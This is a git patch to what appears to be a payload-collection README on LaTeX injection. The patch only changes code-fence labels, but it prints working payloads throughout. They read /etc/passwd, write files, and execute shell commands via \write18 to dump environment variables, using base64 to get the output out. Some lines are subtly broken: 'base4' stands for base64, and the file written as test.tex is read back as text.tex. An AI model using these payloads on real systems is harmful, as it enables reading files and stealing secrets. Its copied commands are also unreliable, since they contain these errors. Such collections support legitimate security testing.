From 6524c8e5447938e63b5114ef90552a1c4474e3b4 Mon Sep 17 00:00:00 2001 From: Swissky Date: Sun, 22 Jul 2018 22:39:37 +0200 Subject: [PATCH] LaTex injection - typo language markdown --- LaTeX injection/README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/LaTeX injection/README.md b/LaTeX injection/README.md index 4407bad..3846067 100644 --- a/LaTeX injection/README.md +++ b/LaTeX injection/README.md @@ -1,13 +1,13 @@ # LaTex Injection ## Read file -```python +```bash \input{/etc/passwd} \include{password} # load .tex file ``` Read single lined file -```python +```bash \newread\file \openin\file=/etc/issue \read\file to\line @@ -16,7 +16,7 @@ Read single lined file ``` Read multiple lined file -```python +```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file @@ -27,7 +27,7 @@ Read multiple lined file ``` ## Write file -```python +```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} @@ -36,17 +36,17 @@ Read multiple lined file ## Command execution The input of the command will be redirected to stdin, use a temp file to get it. -```python +```bash \immediate\write18{env > output} \input{output} ``` If you get any LaTex error, consider using base64 to get the result without bad characters -```python +```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` -```python +```bash \input|ls|base4 ```